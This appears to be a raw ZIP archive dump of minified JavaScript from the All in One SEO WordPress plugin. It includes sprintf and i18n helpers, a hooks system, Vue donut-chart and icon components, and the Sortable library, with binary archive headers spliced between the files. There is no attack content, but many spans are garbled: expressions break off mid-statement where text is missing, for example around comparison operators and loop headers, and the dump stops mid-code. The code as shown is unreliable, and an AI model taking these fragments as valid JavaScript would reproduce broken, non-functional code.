if((u=e.placeholder.exec(d))!==null){if(u[2]){s|=1;var w=[],y=u[2],x=[];if((x=e.key.exec(y))!==null)for(w.push(x[1]);(y=y.substring(x[0].length))!=="";)if((x=e.key_access.exec(y))!==null)w.push(x[1]);else if((x=e.index_access.exec(y))!==null)w.push(x[1]);else throw new SyntaxError("[sprintf] failed to parse named argument key");else throw new SyntaxError("[sprintf] failed to parse named argument key");u[2]=w}else s|=2;if(s===3)throw new Error("[sprintf] mixing positional and named placeholders is not (yet) supported");_.push({placeholder:u[0],param_no:u[1],keys:u[2],sign:u[3],pad_char:u[4],align:u[5],width:u[6],precision:u[7],type:u[8]})}else throw new SyntaxError("[sprintf] unexpected placeholder");d=d.substring(u[0].length)}return c[l]=_}t.sprintf=r,t.vsprintf=n,typeof window<"u"&&(window.sprintf=r,window.vsprintf=n)})()})(K);const q=J(K),B=G(console.error);function ut(t,...e){try{return q.sprintf(t,...e)}catch(r){return r instanceof Error&&B(`sprintf error: `+r.toString()),t}}var k,U,T,X;k={"(":9,"!":8,"*":7,"/":7,"%":7,"+":6,"-":6,"<":5,"<=":5,">":5,">=":5,"==":4,"!=":4,"&&":3,"||":2,"?":1,"?:":1};U=["(","?"];T={")":["("],":":["?","?:"]};X=/<=|>=|==|!=|&&|\|\||\?:|\(|!|\*|\/|%|\+|-|<|>|\?|\)|:/;function Q(t){for(var e=[],r=[],n,i,c,o;n=t.match(X);){for(i=n[0],c=t.substr(0,n.index).trim(),c&&e.push(c);o=r.pop();){if(T[i]){if(T[i][0]===o){i=T[i][1]||i;break}}else if(U.indexOf(o)>=0||k[o]":function(t,e){return t>e},">=":function(t,e){return t>=e},"==":function(t,e){return t===e},"!=":function(t,e){return t!==e},"&&":function(t,e){return t&&e},"||":function(t,e){return t||e},"?:":function(t,e,r){if(t)throw e;return r}};function W(t,e){var r=[],n,i,c,o,l,d;for(n=0;n{const n=new j({}),i=new Set,c=()=>{i.forEach(a=>a())},o=a=>(i.add(a),()=>i.delete(a)),l=(a="default")=>n.data[a],d=(a,p="default")=>{var h;n.data[p]={...n.data[p],...a},n.data[p][""]={...H[""],...(h=n.data[p])==null?void 0:h[""]},delete n.pluralForms[p]},u=(a,p)=>{d(a,p),c()},_=(a,p="default")=>{var h;n.data[p]={...n.data[p],...a,"":{...H[""],...(h=n.data[p])==null?void 0:h[""],...a==null?void 0:a[""]}},delete n.pluralForms[p],c()},s=(a,p)=>{n.data={},n.pluralForms={},u(a,p)},w=(a="default",p,h,b,v)=>(n.data[a]||d(void 0,a),n.dcnpgettext(a,p,h,b,v)),y=(a="default")=>a,x=(a,p)=>{let h=w(p,void 0,a);return r?(h=r.applyFilters("i18n.gettext",h,a,p),r.applyFilters("i18n.gettext_"+y(p),h,a,p)):h},f=(a,p,h)=>{let b=w(h,p,a);return r?(b=r.applyFilters("i18n.gettext_with_context",b,a,p,h),r.applyFilters("i18n.gettext_with_context_"+y(h),b,a,p,h)):b},A=(a,p,h,b)=>{let v=w(b,void 0,a,p,h);return r?(v=r.applyFilters("i18n.ngettext",v,a,p,h,b),r.applyFilters("i18n.ngettext_"+y(b),v,a,p,h,b)):v},m=(a,p,h,b,v)=>{let F=w(v,b,a,p,h);return r?(F=r.applyFilters("i18n.ngettext_with_context",F,a,p,h,b,v),r.applyFilters("i18n.ngettext_with_context_"+y(v),F,a,p,h,b,v)):F},E=()=>f("ltr","text direction")==="rtl",S=(a,p,h)=>{var F,R;const b=p?p+""+a:a;let v=!!((R=(F=n.data)==null?void 0:F[h??"default"])!=null&&R[b]);return r&&(v=r.applyFilters("i18n.has_translation",v,a,p,h),v=r.applyFilters("i18n.has_translation_"+y(h),v,a,p,h)),v};if(t&&u(t,e),r){const a=p=>{et.test(p)&&c()};r.addAction("hookAdded","core/i18n",a),r.addAction("hookRemoved","core/i18n",a)}return{getLocaleData:l,setLocaleData:u,addLocaleData:_,resetLocaleData:s,subscribe:o,__:x,_x:f,_n:A,_nx:m,isRTL:E,hasTranslation:S}};function Z(t){return typeof t!="string"||t===""?(console.error("The namespace must be a non-empty string."),!1):/^[a-zA-Z][a-zA-Z0-9_.\-\/]*$/.test(t)?!0:(console.error("The namespace can only contain numbers, letters, dashes, periods, underscores and slashes."),!1)}function L(t){return typeof t!="string"||t===""?(console.error("The hook name must be a non-empty string."),!1):/^__/.test(t)?(console.error("The hook name cannot begin with `__`."),!1):/^[a-zA-Z][a-zA-Z0-9_.-]*$/.test(t)?!0:(console.error("The hook name can only contain numbers, letters, dashes, periods and underscores."),!1)}function P(t,e){return function(n,i,c,o=10){const l=t[e];if(!L(n)||!Z(i))return;if(typeof c!="function"){console.error("The hook callback must be a function.");return}if(typeof o!="number"){console.error("If specified, the hook priority must be a number.");return}const d={callback:c,priority:o,namespace:i};if(l[n]){const u=l[n].handlers;let _;for(_=u.length;_>0&&!(o>=u[_-1].priority);_--);_===u.length?u[_]=d:u.splice(_,0,d),l.__current.forEach(s=>{s.name===n&&s.currentIndex>=_&&s.currentIndex++})}else l[n]={handlers:[d],runs:0};n!=="hookAdded"&&t.doAction("hookAdded",n,i,c,o)}}function O(t,e,r=!1){return function(i,c){const o=t[e];if(!L(i)||!r&&!Z(c))return;if(!o[i])return 0;let l=0;if(r)l=o[i].handlers.length,o[i]={runs:o[i].runs,handlers:[]};else{const d=o[i].handlers;for(let u=d.length-1;u>=0;u--)d[u].namespace===c&&(d.splice(u,1),l++,o.__current.forEach(_=>{_.name===i&&_.currentIndex>=u&&_.currentIndex--}))}return i!=="hookRemoved"&&t.doAction("hookRemoved",i,c),l}}function I(t,e){return function(n,i){const c=t[e];return typeof i<"u"?n in c&&c[n].handlers.some(o=>o.namespace===i):n in c}}function z(t,e,r=!1){return function(i,...c){const o=t[e];o[i]||(o[i]={handlers:[],runs:0}),o[i].runs++;const l=o[i].handlers;if(!l||!l.length)return r?c[0]:void 0;const d={name:i,currentIndex:0};for(o.__current.push(d);d.currentIndex"u"?typeof i.__current[0]<"u":i.__current[0]?n===i.__current[0].name:!1}}function $(t,e){return function(n){const i=t[e];if(L(n))return i[n]&&i[n].runs?i[n].runs:0}}class rt{constructor(){this.actions=Object.create(null),this.actions.__current=[],this.filters=Object.create(null),this.filters.__current=[],this.addAction=P(this,"actions"),this.addFilter=P(this,"filters"),this.removeAction=O(this,"actions"),this.removeFilter=O(this,"filters"),this.hasAction=I(this,"actions"),this.hasFilter=I(this,"filters"),this.removeAllActions=O(this,"actions",!0),this.removeAllFilters=O(this,"filters",!0),this.doAction=z(this,"actions"),this.applyFilters=z(this,"filters",!0),this.currentAction=C(this,"actions"),this.currentFilter=C(this,"filters"),this.doingAction=M(this,"actions"),this.doingFilter=M(this,"filters"),this.didAction=$(this,"actions"),this.didFilter=$(this,"filters")}}function st(){return new rt}const it=st(),g=nt(void 0,void 0,it),ct=g.getLocaleData.bind(g),lt=g.setLocaleData.bind(g),ft=g.resetLocaleData.bind(g),pt=g.subscribe.bind(g),dt=g.__.bind(g),ht=g._x.bind(g),_t=g._n.bind(g),gt=g._nx.bind(g),yt=g.isRTL.bind(g),bt=g.hasTranslation.bind(g);export{dt as _,_t as a,gt as b,ht as c,nt as d,ct as e,yt as f,at as g,bt as h,g as i,lt as j,pt as k,J as l,ot as m,ft as r,ut as s}; PKÉ—[©!;Y((Hall-in-one-seo-pack/dist/Lite/assets/js/DonutChartWithLegend.BDrgOxPz.jsnu„[µü¤import{U as b}from"./AnimatedNumber.BZqhDXvl.js";import{o as n,c as r,q as x,y as c,d as i,F as _,L as k,a as o,D as v,m as g,l as h,t as w,k as N,E as $,I as L,x as M}from"./vue.esm-bundler.DzelZkHk.js";import{_ as f}from"./_plugin-vue_export-helper.BN1snXvA.js";const z={emits:["resize"],props:{targetLineCount:{default:1,type:Number},unit:{default:"px",type:String},min:{default:12,type:Number},max:{default:36,type:Number},constrainToElement:{type:[Boolean,Element],default(){return!1}},elementPadding:{type:Number,default(){return 0}}},data(){return{observer:null}},methods:{calculate(){const t=this.$el,a=this.unit==="px"?1:.05;let e=this.max;if(t.style.display="inline-block",t.style.lineHeight="1px",t.style.fontSize=e+this.unit,this.constrainToElement)for(;t.offsetWidth>this.constrainToElement.offsetWidth-this.elementPadding&&e>this.min;)e-=a,t.style.fontSize=e+this.unit;else for(;t.offsetHeight>this.targetLineCount&&e>this.min;)e-=a,t.style.fontSize=e+this.unit;this.$emit("resize",{size:e,unit:this.unit}),t.style.display=null,t.style.lineHeight=null}},mounted(){this.calculate(),"MutationObserver"in window&&this.observer===null&&(this.observer=new MutationObserver(this.calculate),this.observer.observe(this.$el,{subtree:!0,characterData:!0})),window.addEventListener("resize",this.calculate)},beforeUnmount:function(){this.observer.disconnect(),window.removeEventListener("resize",this.calculate)}};function C(t,a,e,y,p,u){return n(),r("span",null,[x(t.$slots,"default")])}const S=f(z,[["render",C]]),T={components:{UtilAnimatedNumber:b,UtilFitText:S},props:{parts:{type:Array,required:!0},label:{type:String,required:!0},total:{type:Number,required:!0},animatedNumber:{type:Boolean,default(){return!0}}}},F={class:"aioseo-donut-chart"},B={key:0,viewBox:"0 0 33.83098862 33.83098862",xmlns:"http://www.w3.org/2000/svg"},E=o("circle",{class:"aioseo-donut-chart-score__circle",stroke:"#e8e8eb","stroke-dasharray":"100","stroke-linecap":"round","stroke-width":2,fill:"none",cx:"16.91549431",cy:"16.91549431",r:"15.91549431"},null,-1),H=[E],q={key:1,viewBox:"0 0 33.83098862 33.83098862",xmlns:"http://www.w3.org/2000/svg"},A=["stroke-dasharray"],D=["stroke","stroke-dasharray"],P={class:"total-amount-wrapper"},I={class:"total-amount"},U={class:"total"},V=["innerHTML"],W={class:"label"};function O(t,a,e,y,p,u){const d=c("util-animated-number"),m=c("util-fit-text");return n(),r("div",F,[e.total===0?(n(),r("svg",B,H)):i("",!0),0(n(),r(_,{key:l},[Math.round(s.ratio)&&l!==0?(n(),r("circle",{key:0,class:"aioseo-donut-chart-score__circle",stroke:"#FFFFFF","stroke-dasharray":`${Math.round(s.ratio)} ${parseFloat(99-Math.round(s.ratio))}`,"stroke-linecap":"round","stroke-width":2.5,fill:"none",cx:"16.91549431",cy:"16.91549431",r:"15.91549431"},null,8,A)):i("",!0),Math.round(s.ratio)?(n(),r("circle",{key:1,class:"aioseo-donut-chart-score__circle",stroke:s.color,"stroke-dasharray":`${Math.round(s.ratio)===100?100:Math.round(s.ratio)-1} 100`,"stroke-linecap":"round","stroke-width":2,fill:"none",cx:"16.91549431",cy:"16.91549431",r:"15.91549431"},null,8,D)):i("",!0)],64))),128))])):i("",!0),o("div",P,[o("div",I,[o("div",U,[v(m,{max:32,"constrain-to-element":t.$el},{default:g(()=>[e.animatedNumber?(n(),h(d,{key:0,number:parseInt(e.total)},null,8,["number"])):(n(),r("div",{key:1,innerHTML:parseInt(e.total)},null,8,V))]),_:1},8,["constrain-to-element"])]),o("div",W,w(e.label),1)])])])}const R=f(T,[["render",O]]),j={components:{CoreDonutChart:R,UtilAnimatedNumber:b},props:{parts:{type:Array,required:!0},total:{type:Number,required:!0},label:{type:String,required:!0},link:{type:String,required:!1},animatedNumber:{type:Boolean,default(){return!0}}},computed:{sortedParts(){const t=this.parts.map(a=>a);return t.forEach(function(a,e){a.last&&(t.push(t[e]),t.splice(e,1))}),t}}},G={class:"aioseo-donut-chart-with-legend"},J={class:"chart-left"},K={class:"chart-right"},Q={class:"legend-amount"},X=["innerHTML"],Y={key:0,class:"chart-more"},Z=["innerHTML"];function ee(t,a,e,y,p,u){const d=c("core-donut-chart"),m=c("util-animated-number");return n(),r("div",G,[o("div",J,[v(d,{parts:e.parts,total:e.total,label:e.label,animatedNumber:e.animatedNumber},null,8,["parts","total","label","animatedNumber"])]),o("div",K,[(n(!0),r(_,null,k(u.sortedParts,(s,l)=>(n(),r("div",{class:"legend",key:l},[o("div",{class:"legend-bullet",style:N(`background-color: ${s.color}`)},null,4),o("span",Q,[e.animatedNumber?(n(),h(m,{key:0,number:parseInt(s.count)},null,8,["number"])):(n(),r("div",{key:1,innerHTML:parseInt(s.count)},null,8,X))]),(n(),h(M(s.link?"a":"span"),{href:s.link||null,class:L(["legend-label",{"is-link":s.link}])},{default:g(()=>[$(w(s.name),1)]),_:2},1032,["href","class"]))]))),128)),e.link&&e.total>0?(n(),r("div",Y,[o("span",{innerHTML:e.link},null,8,Z)])):i("",!0)])])}const re=f(j,[["render",ee]]);export{re as C}; PKÉ—[Þ,N™}}<all-in-one-seo-pack/dist/Lite/assets/js/Download.dKopWSkO.jsnu„[µü¤import{o as n,c as o,a as t}from"./vue.esm-bundler.DzelZkHk.js";import{_ as e}from"./_plugin-vue_export-helper.BN1snXvA.js";const r={},s={viewBox:"0 0 14 14",fill:"none",xmlns:"http://www.w3.org/2000/svg",class:"aioseo-download"},c=t("path",{"fill-rule":"evenodd","clip-rule":"evenodd",d:"M11.0833 5.54199H8.74999V2.04199H5.24999V5.54199H2.91666L6.99999 9.62533L11.0833 5.54199ZM6.41662 6.70866V3.20866H7.58329V6.70866H8.26579L6.99996 7.97449L5.73412 6.70866H6.41662ZM11.0833 11.9587V10.792H2.91666V11.9587H11.0833Z",fill:"currentColor"},null,-1),l=[c];function a(u,i){return n(),o("svg",s,l)}const f=e(r,[["render",a]]);export{f as S}; PKÉ—[g°Ú { {8all-in-one-seo-pack/dist/Lite/assets/js/Drag.BbCGib1s.jsnu„[µü¤import{g as Br,m as Kr,l as Hr}from"./default-i18n.BtxsUzQk.js";import{r as Wr}from"./vue.esm-bundler.v8OKKE5o.js";import{o as Xr,c as Yr,a as Pr}from"./vue.esm-bundler.DzelZkHk.js";import{_ as Vr}from"./_plugin-vue_export-helper.BN1snXvA.js";var Dr={exports:{}};/**! * Sortable 1.14.0 * @author RubaXa * @author owenm * @license MIT */function pr(s,r){var n=Object.keys(s);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(s);r&&(i=i.filter(function(e){return Object.getOwnPropertyDescriptor(s,e).enumerable})),n.push.apply(n,i)}return n}function Kt(s){for(var r=1;r=0)&&(n[e]=s[e]);return n}function Qr(s,r){if(s==null)return{};var n=Jr(s,r),i,e;if(Object.getOwnPropertySymbols){var f=Object.getOwnPropertySymbols(s);for(e=0;e=0)&&Object.prototype.propertyIsEnumerable.call(s,i)&&(n[i]=s[i])}return n}function Zr(s){return kr(s)||qr(s)||_r(s)||tn()}function kr(s){if(Array.isArray(s))return ir(s)}function qr(s){if(typeof Symbol<"u"&&s[Symbol.iterator]!=null||s["@@iterator"]!=null)return Array.from(s)}function _r(s,r){if(s){if(typeof s=="string")return ir(s,r);var n=Object.prototype.toString.call(s).slice(8,-1);if(n==="Object"&&s.constructor&&(n=s.constructor.name),n==="Map"||n==="Set")return Array.from(s);if(n==="Arguments"||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return ir(s,r)}}function ir(s,r){(r==null||r>s.length)&&(r=s.length);for(var n=0,i=new Array(r);n"&&(r=r.substring(1)),s)try{if(s.matches)return s.matches(r);if(s.msMatchesSelector)return s.msMatchesSelector(r);if(s.webkitMatchesSelector)return s.webkitMatchesSelector(r)}catch{return!1}return!1}}function nn(s){return s.host&&s!==document&&s.host.nodeType?s.host:s.parentNode}function Ut(s,r,n,i){if(s){n=n||document;do{if(r!=null&&(r[0]===">"?s.parentNode===n&&He(s,r):He(s,r))||i&&s===n)return s;if(s===n)break}while(s=nn(s))}return null}var mr=/\s+/g;function st(s,r,n){if(s&&r)if(s.classList)s.classList[n?"add":"remove"](r);else{var i=(" "+s.className+" ").replace(mr," ").replace(" "+r+" "," ");s.className=(i+(n?" "+r:"")).replace(mr," ")}}function L(s,r,n){var i=s&&s.style;if(i){if(n===void 0)return document.defaultView&&document.defaultView.getComputedStyle?n=document.defaultView.getComputedStyle(s,""):s.currentStyle&&(n=s.currentStyle),r===void 0?n:n[r];!(r in i)&&r.indexOf("webkit")===-1&&(r="-webkit-"+r),i[r]=n+(typeof n=="string"?"":"px")}}function ee(s,r){var n="";if(typeof s=="string")n=s;else do{var i=L(s,"transform");i&&i!=="none"&&(n=i+" "+n)}while(!r&&(s=s.parentNode));var e=window.DOMMatrix||window.WebKitCSSMatrix||window.CSSMatrix||window.MSCSSMatrix;return e&&new e(n)}function Rr(s,r,n){if(s){var i=s.getElementsByTagName(r),e=0,f=i.length;if(n)for(;e=f:t=e<=f,!t)return i;if(i===Bt())break;i=Qt(i,!1)}return!1}function le(s,r,n,i){for(var e=0,f=0,t=s.children;f2&&arguments[2]!==void 0?arguments[2]:{},e=i.evt,f=Qr(i,cn);Ae.pluginEvent.bind(K)(r,n,Kt({dragEl:C,parentEl:ut,ghostEl:z,rootEl:ot,nextEl:te,lastDownEl:Ge,cloneEl:ct,cloneHidden:Jt,dragStarted:Se,putSortable:Et,activeSortable:K.active,originalEvent:e,oldIndex:se,oldDraggableIndex:Te,newIndex:Mt,newDraggableIndex:zt,hideGhostForTarget:Lr,unhideGhostForTarget:Ur,cloneNowHidden:function(){Jt=!0},cloneNowShown:function(){Jt=!1},dispatchSortableEvent:function(o){It({sortable:n,name:o,originalEvent:e})}},f))};function It(s){ye(Kt({putSortable:Et,cloneEl:ct,targetEl:C,rootEl:ot,oldIndex:se,oldDraggableIndex:Te,newIndex:Mt,newDraggableIndex:zt},s))}var C,ut,z,ot,te,Ge,ct,Jt,se,Mt,Te,zt,Me,Et,ie=!1,We=!1,Xe=[],qt,wt,_e,tr,Er,xr,Se,oe,Ie,Pe=!1,Ne=!1,$e,xt,er=[],sr=!1,Ye=[],ze=typeof document<"u",je=Ar,Or=De||Xt?"cssFloat":"float",dn=ze&&!rn&&!Ar&&"draggable"in document.createElement("div"),jr=function(){if(ze){if(Xt)return!1;var s=document.createElement("x");return s.style.cssText="pointer-events:auto",s.style.pointerEvents==="auto"}}(),Fr=function(r,n){var i=L(r),e=parseInt(i.width)-parseInt(i.paddingLeft)-parseInt(i.paddingRight)-parseInt(i.borderLeftWidth)-parseInt(i.borderRightWidth),f=le(r,0,n),t=le(r,1,n),o=f&&L(f),a=t&&L(t),l=o&&parseInt(o.marginLeft)+parseInt(o.marginRight)+at(f).width,c=a&&parseInt(a.marginLeft)+parseInt(a.marginRight)+at(t).width;if(i.display==="flex")return i.flexDirection==="column"||i.flexDirection==="column-reverse"?"vertical":"horizontal";if(i.display==="grid")return i.gridTemplateColumns.split(" ").length<=1?"vertical":"horizontal";if(f&&o.float&&o.float!=="none"){var u=o.float==="left"?"left":"right";return t&&(a.clear==="both"||a.clear===u)?"vertical":"horizontal"}return f&&(o.display==="block"||o.display==="flex"||o.display==="table"||o.display==="grid"||l>=e&&i[Or]==="none"||t&&i[Or]==="none"&&l+c>e)?"vertical":"horizontal"},vn=function(r,n,i){var e=i?r.left:r.top,f=i?r.right:r.bottom,t=i?r.width:r.height,o=i?n.left:n.top,a=i?n.right:n.bottom,l=i?n.width:n.height;return e===o||f===a||e+t/2===o+l/2},hn=function(r,n){var i;return Xe.some(function(e){var f=e[Ot].options.emptyInsertThreshold;if(!(!f||cr(e))){var t=at(e),o=r>=t.left-f&&r<=t.right+f,a=n>=t.top-f&&n<=t.bottom+f;if(o&&a)return i=e}}),i},wr=function(r){function n(f,t){return function(o,a,l,c){var u=o.options.group.name&&a.options.group.name&&o.options.group.name===a.options.group.name;if(f==null&&(t||u))return!0;if(f==null||f===!1)return!1;if(t&&f==="clone")return f;if(typeof f=="function")return n(f(o,a,l,c),t)(o,a,l,c);var d=(t?o:a).options.group.name;return f===!0||typeof f=="string"&&f===d||f.join&&f.indexOf(d)>-1}}var i={},e=r.group;(!e||Ue(e)!="object")&&(e={name:e}),i.name=e.name,i.checkPull=n(e.pull,!0),i.checkPut=n(e.put),i.revertClone=e.revertClone,r.group=i},Lr=function(){!jr&&z&&L(z,"display","none")},Ur=function(){!jr&&z&&L(z,"display","")};ze&&document.addEventListener("click",function(s){if(We)return s.preventDefault(),s.stopPropagation&&s.stopPropagation(),s.stopImmediatePropagation&&s.stopImmediatePropagation(),We=!1,!1},!0);var _t=function(r){if(C){r=r.touches?r.touches[0]:r;var n=hn(r.clientX,r.clientY);if(n){var i={};for(var e in r)r.hasOwnProperty(e)&&(i[e]=r[e]);i.target=i.rootEl=n,i.preventDefault=void 0,i.stopPropagation=void 0,n[Ot]._onDragOver(i)}}},pn=function(r){C&&C.parentNode[Ot]._isOutsideThisEl(r.target)};function K(s,r){if(!(s&&s.nodeType&&s.nodeType===1))throw"Sortable: `el` must be an HTMLElement, not ".concat({}.toString.call(s));this.el=s,this.options=r=jt({},r),s[Ot]=this;var n={group:null,sort:!0,disabled:!1,store:null,handle:null,draggable:/^[uo]l$/i.test(s.nodeName)?">li":">*",swapThreshold:1,invertSwap:!1,invertedSwapThreshold:null,removeCloneOnHide:!0,direction:function(){return Fr(s,this.options)},ghostClass:"sortable-ghost",chosenClass:"sortable-chosen",dragClass:"sortable-drag",ignore:"a, img",filter:null,preventOnFilter:!0,animation:0,easing:null,setData:function(t,o){t.setData("Text",o.textContent)},dropBubble:!1,dragoverBubble:!1,dataIdAttr:"data-id",delay:0,delayOnTouchOnly:!1,touchStartThreshold:(Number.parseInt?Number:window).parseInt(window.devicePixelRatio,10)||1,forceFallback:!1,fallbackClass:"sortable-fallback",fallbackOnBody:!1,fallbackTolerance:0,fallbackOffset:{x:0,y:0},supportPointer:K.supportPointer!==!1&&"PointerEvent"in window&&!xe,emptyInsertThreshold:5};Ae.initializePlugins(this,s,n);for(var i in n)!(i in r)&&(r[i]=n[i]);wr(r);for(var e in this)e.charAt(0)==="_"&&typeof this[e]=="function"&&(this[e]=this[e].bind(this));this.nativeDraggable=r.forceFallback?!1:dn,this.nativeDraggable&&(this.options.touchStartThreshold=1),r.supportPointer?Z(s,"pointerdown",this._onTapStart):(Z(s,"mousedown",this._onTapStart),Z(s,"touchstart",this._onTapStart)),this.nativeDraggable&&(Z(s,"dragover",this),Z(s,"dragenter",this)),Xe.push(this.el),r.store&&r.store.get&&this.sort(r.store.get(this)||[]),jt(this,ln())}K.prototype={constructor:K,_isOutsideThisEl:function(r){!this.el.contains(r)&&r!==this.el&&(oe=null)},_getDirection:function(r,n){return typeof this.options.direction=="function"?this.options.direction.call(this,r,n,C):this.options.direction},_onTapStart:function(r){if(r.cancelable){var n=this,i=this.el,e=this.options,f=e.preventOnFilter,t=r.type,o=r.touches&&r.touches[0]||r.pointerType&&r.pointerType==="touch"&&r,a=(o||r).target,l=r.target.shadowRoot&&(r.path&&r.path[0]||r.composedPath&&r.composedPath()[0])||a,c=e.filter;if(On(i),!C&&!(/mousedown|pointerdown/.test(t)&&r.button!==0||e.disabled)&&!l.isContentEditable&&!(!this.nativeDraggable&&xe&&a&&a.tagName.toUpperCase()==="SELECT")&&(a=Ut(a,e.draggable,i,!1),!(a&&a.animated)&&Ge!==a)){if(se=dt(a),Te=dt(a,e.draggable),typeof c=="function"){if(c.call(this,r,a,this)){It({sortable:n,rootEl:l,name:"filter",targetEl:a,toEl:i,fromEl:i}),Dt("filter",n,{evt:r}),f&&r.cancelable&&r.preventDefault();return}}else if(c&&(c=c.split(",").some(function(u){if(u=Ut(l,u.trim(),i,!1),u)return It({sortable:n,rootEl:u,name:"filter",targetEl:a,fromEl:i,toEl:i}),Dt("filter",n,{evt:r}),!0}),c)){f&&r.cancelable&&r.preventDefault();return}e.handle&&!Ut(l,e.handle,i,!1)||this._prepareDragStart(r,o,a)}}},_prepareDragStart:function(r,n,i){var e=this,f=e.el,t=e.options,o=f.ownerDocument,a;if(i&&!C&&i.parentNode===f){var l=at(i);if(ot=f,C=i,ut=C.parentNode,te=C.nextSibling,Ge=i,Me=t.group,K.dragged=C,qt={target:C,clientX:(n||r).clientX,clientY:(n||r).clientY},Er=qt.clientX-l.left,xr=qt.clientY-l.top,this._lastX=(n||r).clientX,this._lastY=(n||r).clientY,C.style["will-change"]="all",a=function(){if(Dt("delayEnded",e,{evt:r}),K.eventCanceled){e._onDrop();return}e._disableDelayedDragEvents(),!gr&&e.nativeDraggable&&(C.draggable=!0),e._triggerDragStart(r,n),It({sortable:e,name:"choose",originalEvent:r}),st(C,t.chosenClass,!0)},t.ignore.split(",").forEach(function(c){Rr(C,c.trim(),rr)}),Z(o,"dragover",_t),Z(o,"mousemove",_t),Z(o,"touchmove",_t),Z(o,"mouseup",e._onDrop),Z(o,"touchend",e._onDrop),Z(o,"touchcancel",e._onDrop),gr&&this.nativeDraggable&&(this.options.touchStartThreshold=4,C.draggable=!0),Dt("delayStart",this,{evt:r}),t.delay&&(!t.delayOnTouchOnly||n)&&(!this.nativeDraggable||!(De||Xt))){if(K.eventCanceled){this._onDrop();return}Z(o,"mouseup",e._disableDelayedDrag),Z(o,"touchend",e._disableDelayedDrag),Z(o,"touchcancel",e._disableDelayedDrag),Z(o,"mousemove",e._delayedDragTouchMoveHandler),Z(o,"touchmove",e._delayedDragTouchMoveHandler),t.supportPointer&&Z(o,"pointermove",e._delayedDragTouchMoveHandler),e._dragStartTimer=setTimeout(a,t.delay)}else a()}},_delayedDragTouchMoveHandler:function(r){var n=r.touches?r.touches[0]:r;Math.max(Math.abs(n.clientX-this._lastX),Math.abs(n.clientY-this._lastY))>=Math.floor(this.options.touchStartThreshold/(this.nativeDraggable&&window.devicePixelRatio||1))&&this._disableDelayedDrag()},_disableDelayedDrag:function(){C&&rr(C),clearTimeout(this._dragStartTimer),this._disableDelayedDragEvents()},_disableDelayedDragEvents:function(){var r=this.el.ownerDocument;Q(r,"mouseup",this._disableDelayedDrag),Q(r,"touchend",this._disableDelayedDrag),Q(r,"touchcancel",this._disableDelayedDrag),Q(r,"mousemove",this._delayedDragTouchMoveHandler),Q(r,"touchmove",this._delayedDragTouchMoveHandler),Q(r,"pointermove",this._delayedDragTouchMoveHandler)},_triggerDragStart:function(r,n){n=n||r.pointerType=="touch"&&r,!this.nativeDraggable||n?this.options.supportPointer?Z(document,"pointermove",this._onTouchMove):n?Z(document,"touchmove",this._onTouchMove):Z(document,"mousemove",this._onTouchMove):(Z(C,"dragend",this),Z(ot,"dragstart",this._onDragStart));try{document.selection?Be(function(){document.selection.empty()}):window.getSelection().removeAllRanges()}catch{}},_dragStarted:function(r,n){if(ie=!1,ot&&C){Dt("dragStarted",this,{evt:n}),this.nativeDraggable&&Z(document,"dragover",pn);var i=this.options;!r&&st(C,i.dragClass,!1),st(C,i.ghostClass,!0),K.active=this,r&&this._appendGhost(),It({sortable:this,name:"start",originalEvent:n})}else this._nulling()},_emulateDragOver:function(){if(wt){this._lastX=wt.clientX,this._lastY=wt.clientY,Lr();for(var r=document.elementFromPoint(wt.clientX,wt.clientY),n=r;r&&r.shadowRoot&&(r=r.shadowRoot.elementFromPoint(wt.clientX,wt.clientY),r!==n);)n=r;if(C.parentNode[Ot]._isOutsideThisEl(r),n)do{if(n[Ot]){var i=void 0;if(i=n[Ot]._onDragOver({clientX:wt.clientX,clientY:wt.clientY,target:r,rootEl:n}),i&&!this.options.dragoverBubble)break}r=n}while(n=n.parentNode);Ur()}},_onTouchMove:function(r){if(qt){var n=this.options,i=n.fallbackTolerance,e=n.fallbackOffset,f=r.touches?r.touches[0]:r,t=z&&ee(z,!0),o=z&&t&&t.a,a=z&&t&&t.d,l=je&&xt&&Sr(xt),c=(f.clientX-qt.clientX+e.x)/(o||1)+(l?l[0]-er[0]:0)/(o||1),u=(f.clientY-qt.clientY+e.y)/(a||1)+(l?l[1]-er[1]:0)/(a||1);if(!K.active&&!ie){if(i&&Math.max(Math.abs(f.clientX-this._lastX),Math.abs(f.clientY-this._lastY))=0&&(It({rootEl:ut,name:"add",toEl:ut,fromEl:ot,originalEvent:r}),It({sortable:this,name:"remove",toEl:ut,originalEvent:r}),It({rootEl:ut,name:"sort",toEl:ut,fromEl:ot,originalEvent:r}),It({sortable:this,name:"sort",toEl:ut,originalEvent:r})),Et&&Et.save()):Mt!==se&&Mt>=0&&(It({sortable:this,name:"update",toEl:ut,originalEvent:r}),It({sortable:this,name:"sort",toEl:ut,originalEvent:r})),K.active&&((Mt==null||Mt===-1)&&(Mt=se,zt=Te),It({sortable:this,name:"end",toEl:ut,originalEvent:r}),this.save()))),this._nulling()},_nulling:function(){Dt("nulling",this),ot=C=ut=z=te=ct=Ge=Jt=qt=wt=Se=Mt=zt=se=Te=oe=Ie=Et=Me=K.dragged=K.ghost=K.clone=K.active=null,Ye.forEach(function(r){r.checked=!0}),Ye.length=_e=tr=0},handleEvent:function(r){switch(r.type){case"drop":case"dragend":this._onDrop(r);break;case"dragenter":case"dragover":C&&(this._onDragOver(r),gn(r));break;case"selectstart":r.preventDefault();break}},toArray:function(){for(var r=[],n,i=this.el.children,e=0,f=i.length,t=this.options;ei.right+e||s.clientX<=i.right&&s.clientY>i.bottom&&s.clientX>=i.left:s.clientX>i.right&&s.clientY>i.top||s.clientX<=i.right&&s.clientY>i.bottom+e}function bn(s,r,n,i,e,f,t,o){var a=i?s.clientY:s.clientX,l=i?n.height:n.width,c=i?n.top:n.left,u=i?n.bottom:n.right,d=!1;if(!t){if(o&&$ec+l*f/2:au-$e)return-Ie}else if(a>c+l*(1-e)/2&&au-l*f/2)?a>c+l/2?1:-1:0}function En(s){return dt(C)1&&(V.forEach(function(o){f.addAnimationState({target:o,rect:At?at(o):t}),ke(o),o.fromRect=t,i.removeAnimationState(o)}),At=!1,An(!this.options.removeCloneOnHide,e))},dragOverCompleted:function(n){var i=n.sortable,e=n.isOwner,f=n.insertion,t=n.activeSortable,o=n.parentEl,a=n.putSortable,l=this.options;if(f){if(e&&t._hideClone(),ge=!1,l.animation&&V.length>1&&(At||!e&&!t.options.sort&&!a)){var 